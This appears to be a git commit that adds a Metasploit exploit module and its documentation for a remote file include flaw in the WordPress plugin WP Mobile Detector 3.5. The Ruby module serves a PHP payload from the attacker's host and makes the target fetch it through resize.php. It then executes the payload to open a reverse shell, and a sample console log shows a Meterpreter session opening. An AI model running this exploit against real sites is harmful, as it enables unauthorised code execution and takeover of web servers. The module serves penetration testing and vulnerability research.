wp_mobile_detector rce

bug/bundler_fix
h00die 2017-10-20 23:19:58 -04:00
parent 60a7a80ff0
commit cfd7761818
2 changed files with 181 additions and 0 deletions

View File

@ -0,0 +1,63 @@
## Vulnerable Application
wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
was disclosed. Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
the file can be executed by the client.
Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
from Exploit-db since wordpress removed it.
Due to its age, it may be difficult to install. The install for the scenario later is:
* Ubuntu 16.04.2
* Apache 2.4.18
* PHP 7
* Wordpress 4.4.2
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
4. Do: ```set rhost [ip]```
5. Do: ```set lhost [ip]```
6. Do: ```set srvhost [ip]```
7. Do: ```exploit```
8. You should get a shell.
## Scenarios
### wp-mobile-detector 3.5 on Wordpress 4.4.2
```
msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute
msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
TARGETURI => /wordpress/
msf exploit(wp_mobile_detector_upload_execute) > check
[*] 2.2.2.2:80 The target appears to be vulnerable.
msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf exploit(wp_mobile_detector_upload_execute) > exploit
[*] Exploit running as background job 2.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
[*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
[*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
[+] Payload requested on server, sending
[+] Sleeping 5 seconds for payload upload
[*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
[*] Sending stage (37514 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
[+] Deleted ZWTgqwsiFL.php
[*] Server stopped.
```

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload',
'Description' => %q{
WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
to execute arbitrary PHP code. This flaw exists because the
/wp-content/plugins/wp-mobile-detector/resize.php script does contains a
remote file include for files not cached by the system already.
By uploading a .php file, the remote system will
place the file in a user-accessible path. Making a direct request to the
uploaded file will allow the attacker to execute the script with the privileges
of the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'pluginvulnerabilities.com', # Vulnerability disclosure
'Aaditya Purani', # EDB module discovered after writing module
'h00die' # Metasploit module
],
'References' =>
[
['WPVDB', '8505'],
['EDB', '39891'],
['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
],
'DisclosureDate' => 'May 31 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-mobile-detectory < 3.6', {}]],
'DefaultTarget' => 0
))
end
def check
check_plugin_version_from_readme('wp-mobile-detector', '3.5')
end
def exploit
if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from rhost')
end
payload_name = rand_text_alphanumeric(10) + '.php'
# First check to see if the file is written already, if it is cache wont retrieve it from us
res = send_request_cgi(
'global' => true,
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
)
if res and !res.body.include?(payload_name)
vprint_status("#{payload_name} verified as not written.")
else
fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
end
def on_request_uri(cli, _request)
print_good('Payload requested on server, sending')
send_response(cli, payload.encoded, {})
end
print_status('Starting Payload Server')
payload_url = '/' + payload_name
start_service('Uri' => {
'Path' => payload_url,
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end
})
payload_full_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + payload_url
print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{payload_full_url}")
res = send_request_cgi(
'global' => true,
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
'vars_get' => {'src' => payload_full_url}
)
if res && res.code == 200
print_good('Sleeping 5 seconds for payload upload')
register_files_for_cleanup(payload_name)
select(nil,nil,nil,5)
print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
send_request_cgi(
{
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
})
# wait for callback, without this we exit too fast and miss our shell
select(nil,nil,nil,2)
handler
else
if res.nil?
fail_with(Failure::Unreachable, 'No response from the target')
else
vprint_error("HTTP Status: #{res.code}")
vprint_error("Server returned: #{res.body}")
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
end
end
end